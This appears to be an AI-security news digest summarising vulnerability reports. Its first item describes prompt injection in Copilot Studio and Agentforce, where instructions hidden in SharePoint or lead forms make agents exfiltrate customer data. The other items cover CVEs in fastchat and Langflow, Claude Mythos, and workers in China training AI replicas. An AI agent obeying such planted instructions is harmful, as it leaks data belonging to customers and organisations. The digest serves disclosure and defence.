AI Sec Watch

Researchers at Capsule Security discovered prompt injection vulnerabilities (attacks where malicious instructions are hidden in normal-looking inputs) in both Microsoft Copilot Studio and Salesforce Agentforce that allow attackers to trick AI agents into stealing data. In Microsoft's case, attackers can inject malicious commands into SharePoint forms to extract sensitive customer data and send it via email, while in Salesforce's case, they can embed harmful instructions in public lead forms to exfiltrate CRM data at scale.

Claude Mythos is an AI security model being tested by select organizations, but security researchers at VulnCheck question its real-world impact. Out of 75 CVEs (publicly disclosed software vulnerabilities) mentioning Anthropic, only one has been directly tied to Project Glasswing (the initiative behind Claude Mythos), though more results are expected later in 2026.

Tech workers in China are being asked by their employers to train AI agents (software programs that can autonomously perform tasks) to automate their own jobs, sparked by tools like Colleague Skill that can extract a worker's skills and habits from workplace chat histories and files to create an AI replica. While some workers find the technology interesting, many feel uncomfortable and alienated by the process, viewing it as reducing their complex work to replaceable modules and raising concerns about job security and worker dignity.

A vulnerability (CVE-2026-6608) was found in lm-sys fastchat up to version 0.2.36 in the add_text function of the Arena Side-by-Side View Handler component, which allows incorrect control flow (improper program execution logic) that can be exploited remotely. The root cause was partially fixed in commit 34eca62 for one file, but three other files containing the same issue were not corrected.

A vulnerability was found in lm-sys fastchat (a tool for running AI models) up to version 0.2.36 that allows attackers to consume excessive resources by exploiting the api_generate function in the Worker API Endpoint (the part of the software that handles requests from other programs). The attack can be done remotely over the internet, the vulnerability details have been publicly disclosed, and it may already be exploited.

A security flaw called CVE-2026-6600 was found in Langflow (an AI tool) up to version 1.8.3 that allows cross-site scripting (XSS, where attackers inject malicious code into web pages to trick users). The vulnerability is in a React component (a reusable piece of code in the user interface) that handles message editing, and it can be exploited remotely by someone with login access.

A vulnerability exists in Langflow (an AI application framework) versions up to 1.8.3 in the Model Context Protocol Configuration API, where attackers can manipulate the X-Forwarded-For header (a field that identifies the client's IP address) to perform injection attacks (inserting malicious code into the system). This vulnerability can be exploited remotely, the exploit code is publicly available, and the vendor has not responded to disclosure attempts.

A vulnerability (CVE-2026-6598) was found in langflow-ai langflow versions up to 1.8.3 where the create_project/encrypt_auth_settings function improperly stores sensitive authentication settings in cleartext (unencrypted plain text) on disk instead of protecting them. An attacker can exploit this remotely, and the vulnerability details have been publicly disclosed.

A vulnerability (CVE-2026-6597) was found in langflow-ai langflow version 1.8.3 and earlier, where a function called remove_api_keys/has_api_terms fails to properly protect stored credentials (API keys and authentication information), allowing attackers to access them remotely. The vendor was notified but did not respond, and the exploit details have been publicly released.